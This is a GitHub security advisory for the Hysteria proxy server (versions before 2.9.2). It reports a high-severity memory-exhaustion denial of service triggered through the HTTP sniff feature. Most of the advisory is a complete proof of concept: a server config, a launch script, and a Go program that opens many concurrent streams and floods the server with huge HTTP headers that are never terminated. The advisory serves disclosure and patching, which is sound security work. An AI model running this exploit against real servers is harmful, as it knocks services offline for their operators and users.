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Hysteria: http large header with sniff cause server DoS

High severity GitHub Reviewed Published May 23, 2026 in apernet/hysteria • Updated Jun 26, 2026

Package

gomod github.com/apernet/hysteria (Go)

Affected versions

< 2.9.2

Patched versions

2.9.2

Description

Summary

Sending an excessively large header by an attacker could lead to a server-side DoS attack.

Details

The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors.

PoC

server.yaml

listen: 127.0.0.1:8443

tls:
  cert: poc_server.crt
  key: poc_server.key

auth:
  type: password
  password: sniff-poc-password

sniff:
  enable: true
  timeout: 10s
  rewriteDomain: false
  tcpPorts: 80

masquerade:
  type: string
  string:
    content: nope
    statusCode: 404

poc.sh

#!/bin/bash
go build poc_sniff_http_dos.go
./poc_sniff_http_dos \
    --server 127.0.0.1:8443 \
    --auth sniff-poc-password \
    --insecure \
    --target-host 192.0.2.1 \
    --target-port 80 \
    --connections 16 \
    --header-bytes 838860800 \
    --linger 12

poc.go

//go:build poc

package main

import (
	"crypto/sha256"
	"crypto/x509"
	"encoding/hex"
	"errors"
	"flag"
	"fmt"
	"net"
	"strings"
	"sync"
	"time"

	coreclient "github.com/apernet/hysteria/core/v2/client"
	"github.com/apernet/hysteria/extras/v2/obfs"
)

type attackConnFactory struct {
	obfuscator obfs.Obfuscator
}

func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) {
	conn, err := net.ListenUDP("udp", nil)
	if err != nil {
		return nil, err
	}
	if f.obfuscator == nil {
		return conn, nil
	}
	return obfs.WrapPacketConn(conn, f.obfuscator), nil
}

func buildHeaderPayload(totalBytes, chunkSize int) []byte {
	prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n")
	if totalBytes <= len(prefix) {
		return prefix[:totalBytes]
	}
	out := make([]byte, 0, totalBytes)
	out = append(out, prefix...)
	linePayload := chunkSize - 32
	if linePayload < 64 {
		linePayload = 64
	}
	for i := 0; len(out) < totalBytes; i++ {
		line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload))
		remain := totalBytes - len(out)
		if len(line) > remain {
			line = line[:remain]
		}
		out = append(out, line...)
	}
	// 故意不追加最后一个空行 \r\n,迫使服务端在 sniff timeout 内持续读 header。
	return out
}

func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {
	serverAddr, err := net.ResolveUDPAddr("udp", server)
	if err != nil {
		return nil, err
	}
	cfg := &coreclient.Config{
		ConnFactory: &attackConnFactory{},
		ServerAddr:  serverAddr,
		Auth:        auth,
		TLSConfig: coreclient.TLSConfig{
			InsecureSkipVerify: insecure,
		},
	}
	host, _, err := net.SplitHostPort(server)
	if err == nil && sni == "" && net.ParseIP(host) == nil {
		cfg.TLSConfig.ServerName = host
	}
	if sni != "" {
		cfg.TLSConfig.ServerName = sni
	}
	if pinSHA256 != "" {
		nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", ""))
		cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
			if len(rawCerts) == 0 {
				return errors.New("no peer certificate")
			}
			h := sha256.Sum256(rawCerts[0])
			if hex.EncodeToString(h[:]) == nHash {
				return nil
			}
			return errors.New("no certificate matches the pinned hash")
		}
	}
	if salamanderPSK != "" {
		ob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK))
		if err != nil {
			return nil, err
		}
		cfg.ConnFactory = &attackConnFactory{obfuscator: ob}
	}
	c, _, err := coreclient.NewClient(cfg)
	return c, err
}

func worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) {
	conn, err := c.TCP(target)
	if err != nil {
		results[id] = fmt.Sprintf("worker=%d dial error=%v", id, err)
		return
	}
	defer conn.Close()
	_ = conn.SetWriteDeadline(time.Now().Add(linger))
	sent := 0
	for sent < len(payload) {
		end := sent + sendChunk
		if end > len(payload) {
			end = len(payload)
		}
		n, err := conn.Write(payload[sent:end])
		if err != nil {
			results[id] = fmt.Sprintf("worker=%d partial_sent=%d error=%v", id, sent, err)
			return
		}
		sent += n
	}
	time.Sleep(linger)
	results[id] = fmt.Sprintf("worker=%d sent=%d", id, sent)
}

func main() {
	server := flag.String("server", "", "Hysteria server address, e.g. 1.2.3.4:443")
	auth := flag.String("auth", "", "Hysteria auth string/password")
	sni := flag.String("sni", "", "optional TLS SNI")
	insecure := flag.Bool("insecure", false, "skip TLS verification")
	pinSHA256 := flag.String("pin-sha256", "", "optional pinned server cert SHA256")
	salamanderPSK := flag.String("obfs-salamander-password", "", "optional salamander obfs password")
	targetHost := flag.String("target-host", "192.0.2.1", "must usually be an IP so sniff.Check() runs when rewriteDomain=false")
	targetPort := flag.Int("target-port", 80, "target port that should be covered by server sniff.tcpPorts")
	connections := flag.Int("connections", 16, "number of concurrent Hysteria TCP streams")
	headerBytes := flag.Int("header-bytes", 8*1024*1024, "bytes of incomplete HTTP header per stream")
	buildChunk := flag.Int("build-chunk", 8192, "approximate size of generated filler header lines")
	sendChunk := flag.Int("send-chunk", 64*1024, "bytes written per conn.Write call")
	lingerSec := flag.Float64("linger", 12, "seconds to keep each stream open after writing")
	flag.Parse()

	if *server == "" || *auth == "" {
		panic("--server and --auth are required")
	}
	if !*insecure && *pinSHA256 == "" {
		panic("provide one of: --insecure / --pin-sha256")
	}

	payload := buildHeaderPayload(*headerBytes, *buildChunk)
	target := net.JoinHostPort(*targetHost, fmt.Sprintf("%d", *targetPort))
	linger := time.Duration(*lingerSec * float64(time.Second))

	fmt.Printf("[*] server=%s target=%s streams=%d payload=%d\n", *server, target, *connections, len(payload))

	c, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK)
	if err != nil {
		panic(err)
	}
	defer c.Close()

	results := make([]string, *connections)
	var wg sync.WaitGroup
	start := time.Now()
	for i := 0; i < *connections; i++ {
		wg.Add(1)
		go func(i int) {
			defer wg.Done()
			worker(i, c, target, payload, *sendChunk, linger, results)
		}(i)
	}

	wg.Wait()
	fmt.Printf("[*] elapsed=%s\n", time.Since(start).Round(time.Millisecond))
	for _, line := range results {
		fmt.Printf("    %s\n", line)
	}
	fmt.Println("[+] sent incomplete oversized HTTP headers; check server-side memory / stability")
}

Impact

Testing showed that the server side used a maximum of 16GB.

Server memory DoS and may cause OOM.

References

@tobyxdd tobyxdd published to apernet/hysteria May 23, 2026
Published to the GitHub Advisory Database Jun 26, 2026
Reviewed Jun 26, 2026
Last updated Jun 26, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-jqc5-2p7q-fqfc

Source code

Credits

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